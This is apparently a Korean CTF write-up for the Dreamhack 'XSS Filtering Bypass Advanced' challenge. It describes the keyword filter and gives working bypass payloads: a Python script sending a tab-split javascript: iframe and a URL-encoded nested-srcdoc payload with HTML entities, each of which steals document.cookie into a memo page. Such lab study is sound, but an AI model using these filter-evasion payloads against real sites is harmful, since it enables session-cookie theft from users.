[문제 풀이] XSS Filtering Bypass Advanced
- 보안/문제풀이
- 2026. 6. 3.
문제 주소 : XSS Filtering Bypass Advanced | 워게임 | Dreamhack
1) 문제 파악
- 쿠키에 Flag가 있고, 서버에서 셀레늄을 이용해서 페이지에 접속할 때 쿠키를 같이 가져간다
- 취약점은 vuln에 있다. param으로 보낸 값을 '필터 후' 렌더링 없이 raw 데이터를 보여준다
- 메모 페이지에는 메모를 남길 수 있다
-> 서버에서 flag 페이지를 이용하여 vuln에 접속, vuln에 들어가는 param을 payload로 작성하여, 쿠키를 메모로 보낸다.
2) 장애물
필터링
["script", "on", "javascript"]
["window", "self", "this", "document", "location", "(", ")", "&#"]
아무것도 못 한다.
필터링 -> img 등을 이용해서 접근하도록 한다. 그런데 접근만 해서는 cookie를 가져올 수가 없다.
3) 시도했다 실패한 것
- iframe base64 -> 스크립트 실행은 가능한데 document.cookie가 안된다.
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
VM1195:1 Uncaught SecurityError: Failed to read the 'cookie' property from 'Document': Cookies are disabled inside 'data:' URLs. at <anonymous>:1:10
-> iframe을 쓸거면 data를 쓸 수 없다는 뜻
인코딩 후 URL에 +가 있으면 %2B로 변경
- URL 인코딩해서 보내는 건 의미가 없음 이미 서버단에서 받을 때 디코딩을 해서 받음
<iframe srcdoc="<body onload="alert`1`">"></iframe>
" 는 큰따옴표
풀이들
풀이1)
%09 이용 -> 브라우저를 이용할 경우에는 메모장에 탭하고 복사해서 쓴다.
import requests
url = 'http://host8.dreamhack.games:15810/flag'
data= {'param':'<iframe src="javasc\x09ript:locatio\x09n.href=\'/memo?memo=\'%2bd\x09ocument.cookie"></iframe>'}
resp = requests.post(url, data=data)
print(resp.text)
1) vuln에서는 필터되는데 왜 flag에서는 필터가 안되지?
-> vuln에 들어갈 때는 f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}" 특수문자가 이스케이핑 되어 들어간다
즉 vuln에 바로 테스트를 해서는 결과가 맞지 않음
2) 왜 %20 공백은 안 되고 %09 탭은 되는가?

3) URL 스킴이 아닌 document.cookie에서는 는 또 어떻게 가능한지?

풀이2 - SVG + base64

풀이3) iframe 안에 iframe
<payload>
%3Ciframe%20srcdoc%3D%22%3Ciframe%20srcdoc%3D'%3C%26amp%3B%2383%3Bcript%3El%26amp%3B%23x6f%3Bcati%26amp%3B%23x6f%3Bn%3D%60%2Fmemo%3Fmemo%3D%60%2Bd%26amp%3B%23x6f%3Bcument.cookie%3C%2f%26amp%3B%2383%3Bcript%3E'%3E%22%3E

HTML 특수문자 이용 (&#)
<참고> HTML 특수문자 리스트